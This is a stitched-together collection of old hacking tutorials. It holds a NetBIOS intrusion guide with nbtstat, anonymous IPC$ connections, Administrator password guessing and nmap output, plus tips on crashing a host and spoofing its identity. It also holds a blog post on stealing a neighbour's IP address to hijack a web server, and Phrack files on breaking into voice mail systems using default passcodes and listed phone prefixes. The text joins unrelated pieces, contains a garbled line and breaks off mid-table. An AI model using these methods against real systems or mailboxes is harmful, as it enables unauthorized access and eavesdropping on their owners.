· How to Use Nbtstat <beginnine2b.shtml>

· The Net View Command <beginnine2c.shtml>

· What to Do Once You Are Connected <beginnine2c.shtml>

· How to Break in Using the XP GUI <beginnine2d.shtml>

· More on the Net Commands <beginnine2e.shtml>

· How Crackers Break in as Administrator <beginnine2f.shtml>

· How to Scan for Computers that Use NetBIOS <beginnine2g.shtml>

· How to Play NetBIOS Wargames <beginnine2h.shtml>

· An Evil Genius Tip for Win NT Server Users <beginnine2h.shtml>

· Help for Windows 95, 98, SE and ME Users <beginnine2h.shtml>

Not many computers are reachable over the Internet using NetBIOS commands - maybe only a few million. But what the heck, a few million is enough to keep a hacker from getting bored. And if you know what to look for, you will discover that there are a lot of very busy hackers and Internet worms searching for computers they can break into by using NetBIOS commands. By learning the dangers of NetBIOS, you can get an appreciation for why it is a really, truly BAD!!! idea to use it.

*****************
Newbie note: a worm is a program that reproduces itself. For example, Code Red automatically searched over the Internet for vulnerable Windows computers and broke into them. So if you see an attempt to break into your computer, it may be either a human or a worm.
*****************

If you run an intrusion detection system (IDS) on your computer, you are certain to get a lot of alerts of NetBIOS attacks. Here's an example:

The firewall has blocked Internet access to your computer (NetBIOS Session) from 10.0.0.2 (TCP Port 1032) [TCP Flags: S].

Occurred: 2 times between 10/29/2002 7:38:20 AM and 10/29/2002 7:46:18 AM

A Windows NT server on my home network, which has addresses that all start with 10.0.0, caused these alerts. In this case the server was just doing its innocent thing, looking for other Windows computers on my LAN (local area network) that might need to network with it. Every now and then, however, an attacker might pretend to have an address from your internal network even though it is attacking from outside.

If a computer from out on the Internet tries to open a NetBIOS session with one of mine, I'll be mighty suspicious. Here's one example of what an outside attack may look like:

The firewall has blocked Internet access to your computer (NetBIOS Name) from 999.209.116.123 (UDP Port 1028).

Time: 10/30/2002 11:10:02 AM
(The attacker's IP address has been altered to protect the innocent or the guilty, as the case may be.)

Want to see how intensely crackers and worms are scanning the Internet for potential NetBIOS targets? A really great and free IDS for Windows that is also a firewall is Zone Alarm. You can download it for free from http://www.zonelabs.com . You can set it to pop up a warning on your screen whenever someone or some worm attacks your computer. You will almost certainly get a NetBIOS attack the first day you use your IDS.

Do you need to worry when a NetBIOS attack hits? Only if you have enabled NetBIOS and Shares on your computer. Unfortunately, in order to explore other computers using NetBIOS, you increase the danger to your own computer from attack by NetBIOS. But, hey, to paraphrase a famous carpenter from Galilee, he who lives by the NetBIOS gets hacked by the NetBIOS.

********************
Newbie note: NetBEUI (NetBIOS Extended User Interface) is an out-of-date, crummy, not terribly secure way for Windows computers to communicate with each other in a peer-to-peer mode. NetBIOS stands for network basic input/output system.

Newbie note: Shares are when you make it so other computers can access files and directories on your computer. If you set up your computer to use NetBIOS, in Win XP using the NTFS (new technology file system) you can share files and directories by bringing up My Computer. Click on a directory - which in XP is called a "folder". In the left-hand column a task will appear called "Share this folder". By clicking this you can set who can access this folder, how many people at a time can access it, and what they can do with the folder.
********************

There are a number of network exploration commands that only NetBIOS uses. We will show how to use nbtstat and several versions of the net command.

How to Install NetBIOS

You might have to make changes on your system in order to use these commands. Here's how to enable NetBIOS for Windows XP. (If you are stuck with Windows 95, 98, SE or ME, see the end of this Guide for how to enable NetBIOS.) Click:

Control Panel -> Network Connections

There are two types of network connections that may appear here: "Dial-up" and "LAN or High-Speed Internet".

**************
Newbie note: A dial-up connection uses a modem to reach the Internet. LAN stands for local area network. It's what you have if two or more computers are linked to each other with a cable instead of modems. Most schools and businesses have LANs, as well as homes with Internet connection sharing. A DSL or cable modem connection will also typically show up as a LAN connection.
**************

To configure your connections for hacking, double click on the connection you plan to use. That brings up a box that has a button labeled "Properties". Clicking it brings up a box that says "This connection uses the following items:"

You need to have both TCP/IP and NWLink NetBIOS showing. If NWLink NetBIOS is missing, here's how to add it. Click Install -> Protocol -> Add NWlink/IPX/SPX/NetBIOS Compatible Transport Protocol.

**************
Newbie note: NWLink refers to Novell's Netware protocol for running a LAN.
**************

How to Use Nbtstat

To get started, bring up the cmd.exe command. Click Start -> Run and type cmd.exe in the command line box. This brings up a black screen with white letters. Once it is up, we will play with the nbtstat command. To get help for this command, just type:

C:\>nbtstat help

One way to use the nbtstat command is to try to get information from another computer using either its domain name (for example test.target.com), its numerical Internet address (for example, happyhacker.org's numerical address is 206.61.52.30), or its NetBIOS name (if you are on the same LAN).

C:\>nbtstat -a 10.0.0.2

Local Area Connection:
Node IpAddress: [10.0.0.1] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
OLDGUY <00> UNIQUE Registered
OLDGUY <20> UNIQUE Registered
WARGAME <00> GROUP Registered
INet~Services <1C> GROUP Registered
IS~OLDGUY......<00> UNIQUE Registered
OLDGUY <03> UNIQUE Registered
WARGAME <1E> GROUP Registered
ADMINISTRATOR <03> UNIQUE Registered

MAC Address = 52-54-00-E4-6F-40

What do these things tell us about this computer? Following is a table explaining the codes you may see with an nbtstat command (taken from the MH Desk Reference, written by the Rhino9 team).

Name Number Type Usage =========================================================
<computername> 00 U Workstation Service
<computername> 01 U Messenger Service
<\\_MSBROWSE_> 01 G Master Browser
<compname> 03 U Messenger Service
<computername> 06 U RAS Server Service
<computername> 1F U NetDDE Service
<computername> 20 U File Server Service
<computername> 21 U RAS Client Service
<computername> 22 U Exchange Interchange
<computername> 23 U Exchange Store
<computername> 24 U Exchange Directory
<computername> 30 U Modem Sharing Server Service
<computername> 31 U Modem Sharing Client Service
<computername> 43 U SMS Client Remote Control
<computername> 44 U SMS Admin Remote Control Tool
<computername> 45 U SMS Client Remote Chat
<computername> 46 U SMS Client Remote Transfer
<computername> 4C U DEC Pathworks TCPIP Service
<computername> 52 U DEC Pathworks TCPIP Service
<computername> 87 U Exchange MTA
<computername> 6A U Exchange IMC
<computername> BE U Network Monitor Agent
<computername> BF U Network Monitor Apps
<username> 03 U Messenger Service
<domain> 00 G Domain Name
<domain> 1B U Domain Master Browser
<domain> 1C G Domain Controllers
<domain> 1D U Master Browser
<domain> 1E G Browser Service Elections
<INet~Services>1C G Internet Information Server
<IS~Computer_name>00 U Internet Information Server

To keep this Guide from being ridiculously long, we'll just explain a few of the things what we learned when we ran nbtstat -a against 10.0.0.2:

* it uses NetBIOS
* its NetBIOS name is Oldguy
* one of the users is named Administrator
* it runs a web site with Internet Information Server, and maybe an ftp - file transfer protocol -- server
* it is a member of the domain Wargame
* it is connected on a local area network and we accessed it through an Ethernet network interface card (NIC) with a MAC Address of 52-54-00-E4-6F-40.

When using nbtstat over the Internet, in most cases it will not find the correct MAC address. However, sometimes you get lucky. That is part of the thrill of legal hacker exploration. OK, OK, maybe getting a thrill out of a MAC address means I'm some kind of a freak. But if you are reading this, you probably are freaky enough to be a hacker, too.

**************
Newbie note: MAC stands for media access control. In theory every NIC ever made has a unique MAC address, one that no other NIC has. In practice, however, some manufacturers make NICs that allow you to change the MAC address.
**************

**************
Evil Genius tip: sneak your computer onto a LAN and use it to find the MAC address of a very interesting computer. Crash it, then give yours the same MAC, NetBIOS name and Internet address as the very interesting computer. Then see what you can do while faking being that computer. That's why I get a charge out of discovering a MAC address, so stop laughing at me already.
**************

**************
You can get fired, expelled, busted and catch cooties warning: Faking all that stuff is something you would be better off doing only on your own test network, or with written permission from the owner of the very interesting computer.
**************

Now that we know some basic things about computer 10.0.0.2, also known as Oldguy, we can do some simple things to learn more. We can connect to it with a web browser to see what's on the web site, and with ftp to see if it allows anonymous users to download or upload files. In the case of Oldguy, anyone can browse the web site. However, when we try to connect to its ftp server with Netscape by giving the location ftp://10.0.0.2, it returns the message "User Mozilla@ cannot log in.

**************
Newbie note: The people who programmed Netscape have always called it Mozilla, after a famous old movie monster. As a joke they have stuck obscure mentions of Mozilla into the operations of Netscape. Mozilla lovers recently spun off a pure Mozilla browser project that has the web site http://www.mozilla.org.
**************

The Net View Command

Now let's have some serious fun. Netscape (or any browser or ftp program) uses TCP/IP to connect. What happens if we use NetBIOS instead to try to download files from Oldguy's ftp server?

Let's try some more NetBIOS commands:

C:\>net view \\10.0.0.2
System error 53 has occurred.

The network path was not found.

I got this message because my firewall blocked access to Oldguy, giving the message:

The firewall has blocked Internet access to 10.0.0.2 (TCP Port 445) from your computer [TCP Flags: S].

There's a good reason for this. My firewall/IDS is trying to keep me from carelessly making my computer a part of some stranger's LAN. Keep in mind that NetBIOS is a two-way street. However, I want to run this command, so I shut down Zone Alarm and give the command again:

C:\>net view \\10.0.0.2
Shared resources at \\10.0.0.2

Share name Type Used as Comment

--------------------------------------------------------
ftproot Disk
InetPub Disk
wwwroot Disk
The command completed successfully.

This is a list of shared directories. Oooh, look at that, the ftp server is shared. Does this mean I can get in? When setting shares on a Windows NT server, the default choice is to allow access to read, write and delete files to everyone. So sometimes a sysadmin carelessly fails to restrict access to a share.

What is really important is that we didn't need a user name or password to get this potentially compromising information.

Let's establish an anonymous connection to Oldguy, meaning we connect without giving it a user name or password:

C:\>net use \\10.0.0.2\ipc$
Local name
Remote name \\10.0.0.2\IPC$
Resource type IPC
Status OK
# Opens 0
# Connections 1
The command completed successfully.

We are connected!

**********************
Newbie note: IPC (ipc$) stands for "Inter Process Connector", used to set up connections across a network between Windows computers using NetBIOS.
**********************

What to Do Once you Are Connected

So far we haven't quite been breaking the law, although we have been getting pretty rude if the owner of that target computer hasn't given us permission to explore. What if we want to stop pushing our luck and decide to disconnect? Just give the message:

C:\>net session \\10.0.0.2 /delete

Of course you would substitute the name or number of the computer to which you are connected for 10.0.0.2.

What if you want to stay connected? Oldguy will let you stay connected even if you do nothing more. By contrast, a login to a Unix/Linux type computer will normally time out and disconnect you if you go too long without doing anything.

How to Break in Using the XP GUI

You could try out the other net commands on Oldguy. Or you can go to the graphical user interface (GUI) of XP. After running the above commands I click My Computer, then My Network Places and there you'll find the victim, er, I mean, target computer. By clicking on it, I discover that ftproot has been shared to - everyone!

Let's say you were to get this far investigating some random computer you found on the Internet. Let's say you had already determined that the ftp server isn't open to the public. At this moment you would have a little angel sitting one shoulder whispering "You can be a hero. Email the owner of that computer to tell him or her about that misconfigured ftproot."

On the other shoulder a little devil is sneering, "Show the luser no mercy. Information should be free. Because I said so, that's why. Hot darn, are those spreadsheets from the accounting department? You could make a lot of bucks selling those files to a competitor, muhahaha! Besides, you're so ugly that future cellmate Spike won't make you be his girlfriend."

Some hackers might think that because ftproot is shared to the world that it is OK to download stuff from it. However, if someone were to log in properly to that ftp server, he or she would get the message "Welcome to Oldguy on Carolyn Meinel's LAN. Use is restricted to only those for whom Meinel has assigned a user name and password." This warning logon banner is all a computer owner needs to legally establish that no one is allowed to just break in. It won't impress a judge if a cracker says "The owner was so lame that her computer deserved to get broken into" or "I'm so lame that I forgot to try to use the ftp server the normal way."

More on the Net Commands

Let's get back to the net commands. There are many forms of this command. In XP you can learn about them with the command:

C:\>net help
The syntax of this command is:

NET HELP
command
-or-
NET command /HELP

Commands available are:

· NET ACCOUNTS

· NET HELP

· NET SHARE
NET COMPUTER

· NET HELPMSG

· NET START

· NET CONFIG

· NET LOCALGROUP

· NET STATISTICS

· NET CONFIG SERVER

· NET NAME

· NET STOP

· NET CONFIG WORKSTATION

· NET PAUSE

· NET TIME

· NET CONTINUE

· NET PRINT

· NET USE

· NET FILE

· NET SEND

· NET USER

· NET GROUP

· NET SESSION

· NET VIEW

· NET HELP SERVICES lists some of the services you can start.

· NET HELP SYNTAX explains how to read NET HELP syntax lines.

· NET HELP command | MORE displays Help one screen at a time.

How Crackers Break in as Administrator

As we look around Oldguy further, we see that there's not much else an anonymous user can do to it. We know that there is a user named Administrator. What can we do if we can convince Oldguy that we are Administrator?

******************
Newbie note: in Windows NT, 2000 and XP, the Administrator user has total power over its computer, just as root has total power over a Unix/Linux type computer. However, it is possible to change the name of Administrator so an attacker has to guess which user has all the power.
******************

Let's try to log in as Administrator by guessing the password. Give the command:

C:\>net use \\10.0.0.2\ipc$ * /user:Administrator
Type the password for \\10.0.0.2\ipc$:
System error 1219 has occurred.

Multiple connections to a server or shared resource by the same user, using more than one user name, are not allowed. Disconnect all previous connections to the server or shared resource and try again.

This means that someone else is currently logged onto this server who has Administrator rights. Furthermore, this person is probably watching me on an IDS and thinking up terrible things to do to me. Eeep! Actually this is all going on inside my hacker lab - but you get the idea of what it could be like when trying to invade a computer without permission.

I discover that whether I guess the password correctly or not, I always get the same error message. This is a good safety feature. On the other hand, one of the users is named Administrator. This is a bad thing for the defender. When you first set up a Windows NT or 2000 server, there is always a user called Administrator, and he or she has total power over that computer. If you know the all-powerful user is named Administrator, you can try guessing the password whenever no one is logged on with Administrator powers.

Computer criminals don't waste time guessing by hand. They use a program such as NAT or Legion to get passwords. These programs are why smart NT administrators rename their Administrator accounts and choose hard passwords. Also, this kind of persistent attack will be detected by an intrusion detection system, making it easy to catch criminals at work.

********************
You can get expelled warning: What if you are a student and you want to save your school from malicious code kiddies who steal tests and change grades? It is important to get permission *in writing* before you test the school's network. Even then, you still must be careful to be a model student. If you act up, cut classes - you know what I mean - the first time a cracker messes up the network, who do you think they will suspect? Yes, it's unfair, and yes, that is the way the world works.
********************

How to Scan for Computers that Use NetBIOS

Your tool of choice is a port scanner. Any computer that is running something on port 139 is likely (but not certain) to be using NetBIOS. Most crackers use nmap to port scan. This tool runs on Unix/Linux type computers. You can get it at <http://www.insecurity.org/>. There is also a Windows version of nmap, but it isn't very good. A better choice for Windows is Whats Up from <http://www.ipswitch.com/>. You can get a one month free trial of it.

Here's an example of an nmap scan of Oldguy:

test-box:/home/cmeinel # nmap -sTU 10.0.0.2

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on (10.0.0.2):
(The 3060 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
70/tcp open gopher
80/tcp open http
135/tcp open loc-srv
135/udp open loc-srv
137/udp open netbios-ns
138/udp open netbios-dgm
139/tcp open netbios-ssn
500/udp open isakmp

Nmap run completed -- 1 IP address (1 host up) scanned in 8 seconds

As you can see from this scan, three ports are identified with NetBIOS. This tells us that we could set nmap to scan a large number of Internet addresses, only looking for port 139 on each. To learn how to set up nmap to run this way, in your Unix or Linux shell give the command "man nmap".

For more on what crackers do once they break into a computer using NetBIOS (like installing back doors), see http://happyhacker.org/gtmhh/vol3no10.shtml <vol3no10.shtml>.

********************
You can get punched in the nose warning: if you use a port scanner against networks that haven't given you permission to scan, you will be waving a red flag that says "Whaddaya wanna bet I'm a computer criminal?" You can't get arrested for merely port scanning, but people who don't like being scanned might get you kicked off your Internet service provider.

You can get really, big time, punched in the nose warning: If you visit the same computer or LAN really often to see what's new and to try different things, even if you don't break the law you'd better be doing it with the permission of the owner. Otherwise you may make enemies who might crash or destroy your operating system. And that is only what they may do when feeling mellow. After a night of hard drinking - well, you don't want to find out.
********************

How to Play NetBIOS Wargames

What if you want to challenge your friends to a hacker wargame using NetBIOS? The first thing to do is *don't* email me asking me to break in for you. Sheesh. Seriously, almost every day I get emails from people claiming to have permission from their girlfriend/boyfriend and begging me to help them break in. You can read their hilarious pleas for help at http://happyhacker.org/sucks/ <../sucks/index.shtml> .

The way to run a hacker wargame over the Internet is first, get permission from your Internet provider so they don't kick you off for hacking. They probably run an IDS that scans users for suspicious activity. They probably hate malicious hackers. Enough said.

Second, you and your friends are likely to be at a different Internet address every time you log on. Your safest way to play over the Internet is for each player to get an Internet address that is the same every time he or she logs on: a "static" address. This way you won't accidentally break into someone else's computer.

You have to arrange with your Internet provider to get a static address. Normally only a local provider can do this for you. A big advantage of using a local provider is you can make friends with the people who work there - and they are probably hackers.

If you live in an apartment building or dormitory with other hackers, you can play break-in games without using the Internet. Set up a LAN where you can play together. For example, you can string Ethernet cable from window to window. To learn how to set up a Windows Ethernet LAN, see http://happyhacker.org/gtmhh/winlan.shtml .

Or you could set up a wireless LAN. With wireless you never know who might come cruising with a laptop down the street by your home or business and break in. That can make a wargame lots more fun. For help on how to break into wireless LANs (it's pathetically easy), see <http://www.wardriving.com/>.

**************
Evil genius tip: Attack using a Win NT server with the Microsoft Resource Kit installed. Heh, heh. With it you can give the command:

C:\>Local Administrators \\<targetbox.com>

This should show all user accounts with administrator rights on targetbox.com.

C:\>Global Administrators \\<targetbox.com >

This should show all user accounts with Domain administrative rights. These are exceptionally worth compromising, because with one Domain administrative password you will be able to control many resources among NT servers, workstations, and Win 95/98 computers.

I've tried to install the Resource Kit on XP Professional, but it wasn't compatible.

Another option is to install hacker tools such as Red Button and DumpACL, which extract information on user names, hashes, and which services are running on a given machine.
**************

Help for users of Windows 95, 98, SE or ME

To enable NetBIOS, click

Control Panel -> Network -> Protocols

If you see both NetBEUI and TCP/IP, you are already using NetBIOS. If not, add NetBEUI.

To bring up the command screen, click Start -> Run and type in command.com.

information includes your IP range,

2011-09-14T07:41:00.001-07:00

Before you can change your IP you need some information. This information includes your IP range, subnet mask, default gateway, dhcp server, and dns servers.

1. Getting your IP range - Getting information about your IP range is not difficult, I recommend using Neo Trace on your own IP. But for my test just look at your IP address, say it's 24.193.110.13 you can definitely use the IP's found between 24.193.110.1 < [new IP] < 24.193.110.255, don't use x.x.x.1 or x.x.x.255. To find your IP simply open a dos/command prompt window and type ipconfig at the prompt, look for "IP Address. . . . . . . . . . . . : x.x.x.x".

2. Subnet Mask, Default Gateway, DHCP Server - These are very easy to find, just open a dos/command prompt window and type 'ipconfig /all' without the ' '. You should see something like this:

Windows IP Configuration:

Host Name . . . . . . . . . . . . . . : My Computer Name Here
Primary Dns Suffix . . . . . . . . . :
Node Type . . . . . . . . . . . . . . .: Unknown
IP Routing Enabled. . . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . . . . . . .: xxxx.xx.x
Description . . . . . . . . . . . . . . . . . . . . : NETGEAR FA310TX Fast Ethernet Adapter (NGRPCI)
Physical Address. . . . . . . . . . . . . . . . . : XX-XX-XX-XX-XX-XX
Dhcp Enabled. . . . . . . . . . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . . . . . . : Yes
IP Address. . . . . . . . . . . . . . . . . . . . . : 24.xxx.xxx.xx
Subnet Mask . . . . . . . . . . . . . . . . . . . .: 255.255.240.0
Default Gateway . . . . . . . . . . . . . . . . . : 24.xxx.xxx.x
DHCP Server . . . . . . . . . . . . . . . . . . . .: 24.xx.xxx.xx
DNS Servers . . . . . . . . . . . . . . . . . . . . : 24.xx.xxx.xxx
24.xx.xxx.xx
24.xx.xxx.xxx
Lease Obtained. . . . . . . . . . . . . . . . . . .:Monday, January 20, 2003 4:44:08 PM
Lease Expires . . . . . . . . . . . . . . . . . . . .:Tuesday, January 21, 2003 3:43:16 AM

This is all the information you will need for now, I suggest you either keep your dos/command prompt window open or copy & paste the information somewhere, to copy right click the window and select text and click once.

III. Changing your IP Address

To change your IP address first pick any IP you like out of your IP range and remember it or write it down. It is usualy a good idea to make sure the IP is dead (except for what we are going to do later on) so just ping it via "ping x.x.x.x" and if it times out then you can use it. Now go to My Computer, then Control Panel. In Control Panel select Network Connections and pick your active connection, probably Local Area Connection or your ISP name. Open that connection by double clicking on the icon in Network Connections, then select Properties under the General Tab. In the new window that pops up select Internet Protocol (TCP/IP) and click properties, it's under the general tab. In this new window select the General tab and choose "Use the following IP address" and for the IP address enter the IP you would like to use (the one you picked from your subnet earlier) and for the Subnet Mask enter the subnet mask you got when your ran ipconfig /all, same goes for the Default Gateway. Now select "Use the following DNS server addresses" and enter the information you got earlier. Now just click OK. Test that it worked, try to refresh a website and if it works you know everything is okay and you are connected. To make sure the change worked type ipconfig again and the IP address should have changed to your new one.

IV. DDoS & DoS Protection

If your firewall shows that you are being DDoSed, this is usually when you are constantly getting attempted UDP connections several times a second from either the same IP address or multiple IP addresses (DDoS), you can protect your self by changing your IP address via the method I described above.

V. Web servers & Other Services

If you know someone on your IP range is running a web server and he or she has pissed you off or you just like messing around you can "steal" their IP address so any DNS going to that IP will show your site instead because you would be running a web server yourself.

To "steal" an IP is to basically use the changing IP address method above and picking an IP that someone that is running a web server has in use. Often you will be able to keep that IP at least for some time, other times you wont be able to use it so just keep trying until it works. You your self will need to have a web server on the same port with your message. You can do this with other services too. You can also DoS or DDoS the IP address you are trying to steal to kick him off the net, but I don't recommend as its pretty illegal, an your ISP will get pissed ;)

HACKING VOICE MAIL SYSTEMS

2011-09-14T07:34:00.000-07:00

==Phrack Inc.==

Volume Two, Issue Eleven, Phile #4 of 12

+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
+=+ Hacking Voice Mail Systems +=+
+=+ Written for Phrack XI +=+
+=+ by:-> Black Knight from 713 +=+
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

Voice Mail is a relatively new concept and not much has been said about it.
It is a very useful tool for the business person and the phreak. The way it
works is that somebody wishing to get in touch with you calls a number,
usually a 1-800, and punches in on his touch-pad your mailbox number and then
he is able to leave a message for you. Business experts report that this
almost totally eliminates telephone tag. When a person wishes to pick up his
message all he needs to do is call the number enter a certain code and he can
hear his messages, transfer them, and do other misc. mailbox utilities.

Most VMSs are similar in the way they work. There are a few different ways
the VMSs store the voice. One way is that the voice is recorded digitally and
compressed and when heard it is reproduced back into the voice that recorded
it. Another method that is slower and uses more space, but costs less, stores
the voice on magnetic tape, the same type that is used to store data on a
computer, and then runs the tape at a slow speed. Using this method the voice
does not need to be reproduced in any way and will sound normal as long as the
tape is running at a constant speed. On some of the newer VMSs the voice is
digitally recorded and is transformed from the magnetic tape at about 2400
bits per second.

There are many different types and versions of voice mail systems. Some of
the best and easiest to get on will be discussed.

Centagram
---------
These are direct dial (you don't have to enter a box number). To get on one
of these, first have a number to any box on the system. All of the other
boxes will be on the same prefix; just start scanning them until you find one
that has a message saying that person you are calling is not available. This
usually means that the box has not been assigned to anybody yet. Before the
nice lady's voice tells you to leave the message, hit #. You will then be
prompted for your password. The password will usually be the same as the last
four digits of the box's number or a simple number like 1000, 2000, etc. Once
you get on, they are very user friendly and will prompt you with a menu of
options. If you can't find any empty boxes or want to do more, you can hack
but the system administrators box, which will usually be 9999 on the same
prefix as the other boxes, will allow you to hear anybody's messages and
create and delete boxes.

Sperry Link
-----------
These systems are very nice. They will usually be found on an 800 number.
These are one of the hardest to get a box on because you must hack out a user
ID (different from the person's box number) and a password. When it answers,
if it says, "This is a Sperry Link voice station. Please enter your user ID,"
you will have to start trying to find a valid user ID. On most Sperrys it
will be a five digit number. If it answers and says, "This is an X answering
service," you first have to hit *# to get the user number prompt. Once you
get a valid user number will have oKVWV.."! password on most systems, it
will be 4 digits. Once you get in, these are also very user friendly and have
many different options available.

RSVP
----
This is probably one of the worst VMSs but it is by far the easiest to get
yourself a box. When it answers you can hit * for a directory of the boxes on
it (it will only hold 23). If you hit # you will be given a menu of options
and when you choose an option you will then be prompted for your ID number.
The ID number on an RSVP system will just about always be the same as the
mailbox number, which are always only 2 digits.

A.S.P.E.N.
----------
The Aspen voice message systems made by Octel Telecommunications is in my
opinion the BEST VMS made. To get a box on an Aspen, you need to find an
empty box. To find an empty box, scan the box numbers and if one says, "You
entered XXXX. Please leave a message at the tone," then this is an empty box.
You next just press # and when prompted for your box number enter the number
of the empty box and friendly voice of the nice lady will guide you through
all of the steps of setting up your box. She first tells you what you can do
with the box and then will prompt you with, "Please enter the temporary
password assigned to you by your system manager." This password will usually
be 4 digits long and the same as the box number like 1000, etc. Once you get
on their are many things you can do. You can make a distribution list where
if you want to leave a certain message to more than one person, you can enter
the list number and all of the boxes on the list will get the message. You can
also have the system call you and notify you that you have new messages. These
systems also have what they call "Information center mailboxes" that are
listen only and can also have a password on them so the person calling has to
enter the password before he hears the greeting message. Aspen VMSs have a
system managers mailbox that will just about give you total control of the
whole system and let you listen to people's mail, create and delete boxes, and
many other things.

Thank you for reading this file and if you would like to get in touch with me
VIA VOICE MAIL call 1-800-222-0311 and hit *2155.

//--Black Knight from 713--\\
| for PHRACK XI (1987) |
\\--++--++--++--++--++--++-//

==========================================================================
Mailbox Systems
==========================================================================
Mailbox systems are the link between information and the underworld. If
you have ever called one, then you will know the advantages of having one,
especially the ones that are open to whole underworld, rather than just a
select few. There are two types of mailbox systems that are widely used.
The first type we will talk about is the multiple mailbox systems, or
commonly referred to as message systems. These systems have several
mailboxes set up on one number. Usually, you can access other mailboxes
from that number by pressing '*' or '#'. Sometimes you just enter the
mailbox number and you are connected. These are the safest systems to use
to protect information from US Sprint and other long distance companies.
Since US Sprint and other companies call the destination numbers, it is
safer to have 800 mailbox systems, and most of the time, the multiple
mailbox systems are on 800 numbers. The passcode on these systems can
vary in length and can be accessed by several different methods, so it is
impossible to explain exactly how to hack these systems.
The other type is the single mailbox system. These are usually set up
in a reserved prefix in an area code. (Ex: 713-684-6xxx) These systems
are usually controlled by the same type of hardware/software. To access
the area where you enter the passcode, just hit '0' for a second or so.
The passcodes are four (4) digits long. The only way to hack these is
manually. The best thing you could do is to find one that does not have
a recording from a person, but just the digitized voice. If you hack one
that someone already owns, they will report it and it will not last as
long.

Here is a list mailboxes or prefixes to help you get started
--------------------------------------------------------------------------
Single Multiple Digits
------------ ------------ --------
213-281-8xxx 212-714-2770 3
213-285-8xxx 216-586-5000 4
213-515-2xxx 415-338-7000 Aspen Message System 3
214-733-5xxx 714-474-2033 Western Digital
214-855-6xxx 800-222-0651 Vincent and Elkins 4
214-978-2xxx 800-233-8488 3
215-949-2xxx 800-447-8477 Fairylink 7
312-450-8xxx 800-521-5344 3
313-768-1xxx 800-524-2133 RCA 4
405-557-8xxx 800-527-0027 TTE TeleMessager 6
602-230-4xxx 800-632-7777 Asynk 6
619-492-8xxx 800-645-7778 SoftCell Computers 4
713-684-6xxx 800-648-9675 Zoykon 4
800-847-0003 Communications World 3
==========================================================================

==Phrack Inc.==

Volume Three, Issue Thirty-four, File #6 of 11

HACKING VOICE MAIL SYSTEMS

by Night Ranger

DISCLAIMER

I, Night Ranger, or anyone else associated with Phrack, am not responsible
for anything the readers of this text may do. This file is for informational
and educational purposes only and should not be used on any system or network
without written permission of the authorized persons in charge.

INTRODUCTION

I decided to write this text file because I received numerous requests for
vmbs from people. Vmbs are quite easy to hack, but if one doesn't know where
to start it can be hard. Since there aren't any decent text files on this
subject, I couldn't refer them to read anything, and decided to write one
myself. To the best of my knowledge, this is the most complete text on
hacking vmb systems. If you have any comments or suggestions, please let me
know.

Voice Mail Boxes (vmbs) have become a very popular way for hackers to get in
touch with each other and share information. Probably the main reason for
this is their simplicity and availability. Anyone can call a vmb regardless
of their location or computer type. Vmbs are easily accessible because most
are toll free numbers, unlike bulletin boards. Along with their advantages,
they do have their disadvantages. Since they are easily accessible this
means not only hackers and phreaks can get information from them, but feds
and narcs as well. Often they do not last longer than a week when taken
improperly. After reading this file and practicing the methods described,
you should be able to hack voice mail systems with ease. With these thoughts
in mind, let's get started.

FINDING A VMB SYSTEM

The first thing you need to do is find a VIRGIN (unhacked) vmb system. If
you hack on a system that already has hackers on it, your chance of finding
a box is considerably less and it increases the chance that the system
administrator will find the hacked boxes. To find a virgin system, you need
to SCAN some 800 numbers until you find a vmb. A good idea is to take the
number of a voice mail system you know, and scan the same exchange but not
close to the number you have.

FINDING VALID BOXES ON THE SYSTEM

If you get a high quality recording (not an answering machine) then it is
probably a vmb system. Try entering the number 100, the recording should
stop. If it does not, you may have to enter a special key (such as '*' '#'
'8' or '9') to enter the voice mail system. After entering 100 it should
either connect you to something or do nothing. If it does nothing, keep
entering (0)'s until it does something. Count the number of digits you
entered and this will tell you how many digits the boxes on the system are.
You should note that many systems can have more than one box length depending
on the first number you enter, Eg. Boxes starting with a six can be five
digits while boxes starting with a seven can only be four. For this file we
will assume you have found a four digit system, which is pretty common. It
should do one of the following things...

1) Give you an error message, Eg. 'Mailbox xxxx is invalid.'
2) Ring the extension and then one of the following..
1) Someone or no one answers.
2) Connects you to a box.
3) Connect you to mailbox xxxx.

If you get #1 then try some more numbers. If you get #2 or #3 then you have
found a valid vmb (or extension in the case of 2-1). Extensions usually have
a vmb for when they are not at their extension. If you get an extension,
move on. Where you find one box you will probably find more surrounding it.
Sometimes a system will try to be sneaky and put one valid vmb per 10 numbers.
Eg. Boxes would be at 105, 116, 121, ... with none in between. Some systems
start boxes at either 10 after a round number or 100 after, depending on
whether it is a three or four box system. For example, if you do not find
any around 100, try 110 and if you do not find any around 1000 try 1100. The
only way to be sure is to try EVERY possible box number. This takes time but
can be worth it.

Once you find a valid box (even if you do not know the passcode) there is a
simple trick to use when scanning for boxes outside of a vmb so that it does
not disconnect you after three invalid attempts. What you do is try two box
numbers and then the third time enter a box number you know is valid. Then
abort ( usually by pressing (*) or (#) ) and it will start over again. From
there you can keep repeating this until you find a box you can hack on.

FINDING THE LOGIN SEQUENCE

Different vmb systems have different login sequences (the way the vmb owner
gets into his box). The most common way is to hit the pound (#) key from the
main menu. This pound method works on most systems, including Aspens (more
on specific systems later). It should respond with something like 'Enter
your mailbox.' and then 'Enter your passcode.' Some systems have the
asterisk (*) key perform this function. Another login method is hitting a
special key during the greeting (opening message) of the vmb. On a Cindy or
Q Voice Mail system you hit the zero (0) key during the greet and since
you've already entered your mailbox number it will respond with 'Enter your
passcode.' If (0) doesn't do anything try (#) or (*). These previous two
methods of login are the most common, but it is possible some systems will
not respond to these commands. If this should happen, keep playing around
with it and trying different keys. If for some reason you cannot find the
login sequence, then save this system for later and move on.

GETTING IN

This is where the basic hacking skills come to use. When a system
administrator creates a box for someone, they use what's called a default
passcode. This same code is used for all the new boxes on the system, and
often on other systems too. Once the legitimate owner logs into his new vmb,
they are usually prompted to change the passcode, but not everyone realizes
that someone will be trying to get into their mailbox and quite a few people
leave their box with the default passcode or no passcode at all. You should
try ALL the defaults I have listed first.

DEFAULTS BOX NUMBER TRY

